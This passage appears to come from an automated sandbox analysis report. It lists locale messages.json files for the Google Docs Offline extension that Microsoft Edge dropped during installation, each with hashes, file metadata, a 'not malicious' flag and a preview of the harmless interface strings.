SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
